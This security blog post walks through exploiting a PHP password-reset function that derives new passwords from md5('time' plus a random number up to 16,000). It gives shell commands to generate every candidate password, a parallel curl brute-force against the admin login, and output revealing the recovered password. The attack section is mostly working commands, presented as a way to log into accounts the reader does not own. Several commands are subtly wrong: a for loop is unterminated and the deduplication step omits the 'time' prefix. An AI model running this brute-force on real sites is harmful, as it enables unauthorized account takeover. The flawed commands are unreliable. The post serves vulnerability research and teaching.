Hey,

In my last post, I showed how we could guess the output of a password-reset function with a million states. While doing research for that, I stumbled across some software that had a mere 16,000 states. I will show how to fully compromise this software package remotely using the password reset.



The code

First, let's take a look at the code:

<?php

if ( strtolower ( $ cfgrow [ ' email ' ]) == strtolower ( $ _POST [ ' reminderemail ' ]))

{

// generate a random new pass

$ user_pass = substr ( MD5 ( ' time ' . rand ( 1 , 16000 )) , 0 , 6 ) ;

$ query = " update config set password=MD5(' $ user_pass ') where [...] "

if ( mysql_query ( $ query ))

{

// ...

?>



The vulnerability

The vulnerability lies in the password generation:

$ user_pass = substr ( MD5 ( ' time ' . rand ( 1 , 16000 )) , 0 , 6 ) ;



The new password generated is the md5() of the literal string 'time' (*not* the current time, the *word* "time") concatenated with one of 16,000 random numbers, then truncated to 6 bytes. We can very easily generate the complete password list on the commandline:

$ seq 1 16000 | xargs -I XXX sh -c " echo timeXXX | md5sum | cut -b1-6 "

or, another way:

$ for i in `seq 1 16000 ` ; do echo " time $i " | md5sum | cut -b1 -6



(By the way, for more information on using xargs, check out a really awesome blog posting called Taco Bell Programming - it's like real programming, but you can't legally call it "beef")

In either case, you'll wind up with 16,000 different passwords in a file. If you want to speed up the eventual bruteforce, you can eliminate collisions:

$ seq 1 16000 | xargs -I XXX sh -c "echo XXX | md5sum | cut -b1-6" | sort | uniq

If you do that, you'll wind up with 15,993 different passwords, ranging from '000b64' to 'fffcc0'. Now all that's left is to try these 15,993 passwords against the site!

The attack

You can do this attack any number of ways. You can script up some Perl/Ruby/PHP, you can use a scanner like Burp Suite, or, if you're feeling really adventurous, you can write a quick config file for http-enum.nse. If anybody takes the time to replicate this with http-enum.nse, you'll win an Internet from me. I promise.

But why bother with all these complicated pieces of software when we have bash handy? All we need to do is try all 15,993 passwords using wget/curl/etc and look for the one page that's different. Done!

So, to download a single page, we'd use:

$ curl -s -o XXX.out -d " user=admin&password=XXX " < site > /admin/? x =login



This will create a file called XXX.out on the filesystem, which is the output from a login attempt with the password XXX. Now we use xargs to do that for every password:

$ cat passwords.txt | xargs -P32 -I XXX curl -s -o XXX.out \

-d " user=admin&password=XXX " < site > /admin/? x =login



Which will, in 32 parallel processes, attempt to log in with each password and write the result to a file named <password>.out. Now all we have to do figure out which one's different! After waiting for it to finish (or not.. it takes about 5-10 minutes), I check the folder:

$ md5sum *.out | head 96ffbb1ba380de9fc9e7a3fe316ff631 000176.out 96ffbb1ba380de9fc9e7a3fe316ff631 0014c2.out 96ffbb1ba380de9fc9e7a3fe316ff631 001e7e.out 96ffbb1ba380de9fc9e7a3fe316ff631 002035.out 96ffbb1ba380de9fc9e7a3fe316ff631 00217c.out 96ffbb1ba380de9fc9e7a3fe316ff631 002c47.out 96ffbb1ba380de9fc9e7a3fe316ff631 003b9e.out 96ffbb1ba380de9fc9e7a3fe316ff631 004bff.out 96ffbb1ba380de9fc9e7a3fe316ff631 0057b8.out 96ffbb1ba380de9fc9e7a3fe316ff631 008dea.out

Sure enough, it's tried all the passwords and they all seemed to download the same page! Now we use grep -v to find the one and only download that's different:

$ md5sum *.out | grep -v 96ffbb1ba380de9fc9e7a3fe316ff631 d41d8cd98f00b204e9800998ecf8427e b19261.out

And bam! We now know the password is "b19261".

Conclusion

So there you have it - abusing a password reset to log into an account you shouldn't. And remember, even though we didn't test this with 1,000,000 possible passwords like last week's blog, it would only take about 60 times as long - so instead of a few minutes, it'd be a few hours. And as I said last week, that million-password reset form was actually pretty common.

And in case you think this is hocus pocus or whatever, I wrote the code shown here live, on stage, at Winnipeg Code Camp. It's towards the end of my talk.